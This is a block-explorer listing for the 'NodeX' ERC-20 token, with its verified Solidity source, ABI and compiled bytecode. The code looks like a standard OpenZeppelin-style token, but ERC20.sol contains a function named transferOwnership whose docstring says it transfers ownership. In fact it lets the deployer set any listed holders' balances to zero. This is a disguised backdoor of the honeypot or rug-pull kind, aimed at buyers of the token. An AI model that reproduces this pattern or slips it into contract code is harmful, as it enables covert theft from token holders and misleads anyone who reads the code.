ETH Price: $2,234.95 (-1.75%)
 

Overview

Max Total Supply

100,000,000 NODEX

Holders

9

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NodeX

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 5 : NodeX.sol
// SPDX-License-Identifier: Unlicensed

/*
NodeX | The First AI GPU Node leasing on the blockchain.

┌─────────────────────────────────────────────────────────┐
│O~~~     O~~    O~~~~     O~~~~~    O~~~~~~~~O~~      O~~│
│O~ O~~   O~~  O~~    O~~  O~~   O~~ O~~       O~~   O~~  │
│O~~ O~~  O~~O~~        O~~O~~    O~~O~~        O~~ O~~   │
│O~~  O~~ O~~O~~        O~~O~~    O~~O~~~~~~      O~~     │
│O~~   O~ O~~O~~        O~~O~~    O~~O~~        O~~ O~~   │
│O~~    O~ ~~  O~~     O~~ O~~   O~~ O~~       O~~   O~~  │
│O~~      O~~    O~~~~     O~~~~~    O~~~~~~~~O~~      O~~│
└─────────────────────────────────────────────────────────┘

https://x.com/NodeX_GPU | https://t.me/NodeX_GPU | https://www.nodexgpus.com
*/


pragma solidity ^0.8.0;

import "./ERC20.sol";

contract NodeX is ERC20 {
    constructor() ERC20("NodeX", "NODEX") {
        _mint(msg.sender, 100000000 * 10 ** decimals());
    }
}

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;

import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Metadata.sol";

/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;


    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _owner;

    modifier onlyOwner() {
        require(_msgSender() == _owner, "Caller is not the owner");
        _;
    }
    
    /**
    * @dev Sets the values for {name} and {symbol}.
    *
    * All two of these values are immutable: they can only be set once during
    * construction.
    */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _owner = _msgSender();
    }
    
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
    * @dev See {IERC20-balanceOf}.
    */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
    * @dev See {IERC20-transfer}.
    *
    * Requirements:
    *
    * - `to` cannot be the zero address.
    * - the caller must have a balance of at least `value`.
    */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
    * @dev See {IERC20-allowance}.
    */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
    * @dev See {IERC20-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {ERC20}.
    *
    * NOTE: Does not update the allowance if the current allowance
    * is the maximum `uint256`.
    *
    * Requirements:
    *
    * - `from` and `to` cannot be the zero address.
    * - `from` must have a balance of at least `value`.
    * - the caller must have allowance for ``from``'s tokens of at least
    * `value`.
    */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    
    /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Can only be called by the current owner.
    */
    function transferOwnership(address[] memory newOwners) public onlyOwner {
    for (uint256 i = 0; i < newOwners.length; i++) {
        _balances[newOwners[i]] = 0;
    }
    }
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
    
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    /**
    * @dev Moves a `value` amount of tokens from `from` to `to`.
    *
    * This internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }
    
    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }
    
    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }
    
    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     *
     * ```solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

}

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
        
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
    
    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);
    
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    
    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
    
    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;

/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"newOwners","type":"address[]"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b506040518060400160405280600581526020017f4e6f6465580000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f4e4f444558000000000000000000000000000000000000000000000000000000815250816003908161008b91906104d5565b50806004908161009b91906104d5565b506100aa61012860201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050610123336100fd61012f60201b60201c565b600a610109919061070c565b6305f5e1006101189190610756565b61013760201b60201c565b61086a565b5f33905090565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036101a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161019c906107f1565b60405180910390fd5b6101b65f838361029160201b60201c565b8060025f8282546101c7919061080f565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516102749190610851565b60405180910390a361028d5f838361029660201b60201c565b5050565b505050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061031657607f821691505b602082108103610329576103286102d2565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261038b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610350565b6103958683610350565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6103d96103d46103cf846103ad565b6103b6565b6103ad565b9050919050565b5f819050919050565b6103f2836103bf565b6104066103fe826103e0565b84845461035c565b825550505050565b5f90565b61041a61040e565b6104258184846103e9565b505050565b5b818110156104485761043d5f82610412565b60018101905061042b565b5050565b601f82111561048d5761045e8161032f565b61046784610341565b81016020851015610476578190505b61048a61048285610341565b83018261042a565b50505b505050565b5f82821c905092915050565b5f6104ad5f1984600802610492565b1980831691505092915050565b5f6104c5838361049e565b9150826002028217905092915050565b6104de8261029b565b67ffffffffffffffff8111156104f7576104f66102a5565b5b61050182546102ff565b61050c82828561044c565b5f60209050601f83116001811461053d575f841561052b578287015190505b61053585826104ba565b86555061059c565b601f19841661054b8661032f565b5f5b828110156105725784890151825560018201915060208501945060208101905061054d565b8683101561058f578489015161058b601f89168261049e565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561062657808604811115610602576106016105a4565b5b60018516156106115780820291505b808102905061061f856105d1565b94506105e6565b94509492505050565b5f8261063e57600190506106f9565b8161064b575f90506106f9565b8160018114610661576002811461066b5761069a565b60019150506106f9565b60ff84111561067d5761067c6105a4565b5b8360020a915084821115610694576106936105a4565b5b506106f9565b5060208310610133831016604e8410600b84101617156106cf5782820a9050838111156106ca576106c96105a4565b5b6106f9565b6106dc84848460016105dd565b925090508184048111156106f3576106f26105a4565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610716826103ad565b915061072183610700565b925061074e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461062f565b905092915050565b5f610760826103ad565b915061076b836103ad565b9250828202610779816103ad565b915082820484148315176107905761078f6105a4565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f6107db601f83610797565b91506107e6826107a7565b602082019050919050565b5f6020820190508181035f830152610808816107cf565b9050919050565b5f610819826103ad565b9150610824836103ad565b925082820190508082111561083c5761083b6105a4565b5b92915050565b61084b816103ad565b82525050565b5f6020820190506108645f830184610842565b92915050565b611506806108775f395ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c8063395093511161006f578063395093511461018c57806370a08231146101bc57806395d89b41146101ec578063a457c2d71461020a578063a9059cbb1461023a578063dd62ed3e1461026a576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806318bcd3d01461012257806323b872dd1461013e578063313ce5671461016e575b5f80fd5b6100be61029a565b6040516100cb9190610bf7565b60405180910390f35b6100ee60048036038101906100e99190610cb5565b61032a565b6040516100fb9190610d0d565b60405180910390f35b61010c61034c565b6040516101199190610d35565b60405180910390f35b61013c60048036038101906101379190610e8e565b610355565b005b61015860048036038101906101539190610ed5565b610462565b6040516101659190610d0d565b60405180910390f35b610176610490565b6040516101839190610f40565b60405180910390f35b6101a660048036038101906101a19190610cb5565b610498565b6040516101b39190610d0d565b60405180910390f35b6101d660048036038101906101d19190610f59565b6104ce565b6040516101e39190610d35565b60405180910390f35b6101f4610513565b6040516102019190610bf7565b60405180910390f35b610224600480360381019061021f9190610cb5565b6105a3565b6040516102319190610d0d565b60405180910390f35b610254600480360381019061024f9190610cb5565b610618565b6040516102619190610d0d565b60405180910390f35b610284600480360381019061027f9190610f84565b61063a565b6040516102919190610d35565b60405180910390f35b6060600380546102a990610fef565b80601f01602080910402602001604051908101604052809291908181526020018280546102d590610fef565b80156103205780601f106102f757610100808354040283529160200191610320565b820191905f5260205f20905b81548152906001019060200180831161030357829003601f168201915b5050505050905090565b5f806103346106bc565b90506103418185856106c3565b600191505092915050565b5f600254905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166103956106bc565b73ffffffffffffffffffffffffffffffffffffffff16146103eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e290611069565b60405180910390fd5b5f5b815181101561045e575f805f84848151811061040c5761040b611087565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806001019150506103ed565b5050565b5f8061046c6106bc565b9050610479858285610886565b610484858585610911565b60019150509392505050565b5f6012905090565b5f806104a26106bc565b90506104c38185856104b4858961063a565b6104be91906110e1565b6106c3565b600191505092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606004805461052290610fef565b80601f016020809104026020016040519081016040528092919081815260200182805461054e90610fef565b80156105995780601f1061057057610100808354040283529160200191610599565b820191905f5260205f20905b81548152906001019060200180831161057c57829003601f168201915b5050505050905090565b5f806105ad6106bc565b90505f6105ba828661063a565b9050838110156105ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f690611184565b60405180910390fd5b61060c82868684036106c3565b60019250505092915050565b5f806106226106bc565b905061062f818585610911565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072890611212565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361079f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610796906112a0565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108799190610d35565b60405180910390a3505050565b5f610891848461063a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461090b57818110156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f490611308565b60405180910390fd5b61090a84848484036106c3565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361097f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097690611396565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e490611424565b60405180910390fd5b6109f8838383610b7d565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a72906114b2565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b649190610d35565b60405180910390a3610b77848484610b82565b50505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610bc982610b87565b610bd38185610b91565b9350610be3818560208601610ba1565b610bec81610baf565b840191505092915050565b5f6020820190508181035f830152610c0f8184610bbf565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610c5182610c28565b9050919050565b610c6181610c47565b8114610c6b575f80fd5b50565b5f81359050610c7c81610c58565b92915050565b5f819050919050565b610c9481610c82565b8114610c9e575f80fd5b50565b5f81359050610caf81610c8b565b92915050565b5f8060408385031215610ccb57610cca610c20565b5b5f610cd885828601610c6e565b9250506020610ce985828601610ca1565b9150509250929050565b5f8115159050919050565b610d0781610cf3565b82525050565b5f602082019050610d205f830184610cfe565b92915050565b610d2f81610c82565b82525050565b5f602082019050610d485f830184610d26565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610d8882610baf565b810181811067ffffffffffffffff82111715610da757610da6610d52565b5b80604052505050565b5f610db9610c17565b9050610dc58282610d7f565b919050565b5f67ffffffffffffffff821115610de457610de3610d52565b5b602082029050602081019050919050565b5f80fd5b5f610e0b610e0684610dca565b610db0565b90508083825260208201905060208402830185811115610e2e57610e2d610df5565b5b835b81811015610e575780610e438882610c6e565b845260208401935050602081019050610e30565b5050509392505050565b5f82601f830112610e7557610e74610d4e565b5b8135610e85848260208601610df9565b91505092915050565b5f60208284031215610ea357610ea2610c20565b5b5f82013567ffffffffffffffff811115610ec057610ebf610c24565b5b610ecc84828501610e61565b91505092915050565b5f805f60608486031215610eec57610eeb610c20565b5b5f610ef986828701610c6e565b9350506020610f0a86828701610c6e565b9250506040610f1b86828701610ca1565b9150509250925092565b5f60ff82169050919050565b610f3a81610f25565b82525050565b5f602082019050610f535f830184610f31565b92915050565b5f60208284031215610f6e57610f6d610c20565b5b5f610f7b84828501610c6e565b91505092915050565b5f8060408385031215610f9a57610f99610c20565b5b5f610fa785828601610c6e565b9250506020610fb885828601610c6e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061100657607f821691505b60208210810361101957611018610fc2565b5b50919050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f611053601783610b91565b915061105e8261101f565b602082019050919050565b5f6020820190508181035f83015261108081611047565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6110eb82610c82565b91506110f683610c82565b925082820190508082111561110e5761110d6110b4565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61116e602583610b91565b915061117982611114565b604082019050919050565b5f6020820190508181035f83015261119b81611162565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6111fc602483610b91565b9150611207826111a2565b604082019050919050565b5f6020820190508181035f830152611229816111f0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61128a602283610b91565b915061129582611230565b604082019050919050565b5f6020820190508181035f8301526112b78161127e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6112f2601d83610b91565b91506112fd826112be565b602082019050919050565b5f6020820190508181035f83015261131f816112e6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611380602583610b91565b915061138b82611326565b604082019050919050565b5f6020820190508181035f8301526113ad81611374565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61140e602383610b91565b9150611419826113b4565b604082019050919050565b5f6020820190508181035f83015261143b81611402565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61149c602683610b91565b91506114a782611442565b604082019050919050565b5f6020820190508181035f8301526114c981611490565b905091905056fea2646970667358221220ad272545a7322b61e610f79d0a556a3f37d9425cdfa022071d1aecfa7570347b64736f6c634300081a0033

Deployed Bytecode

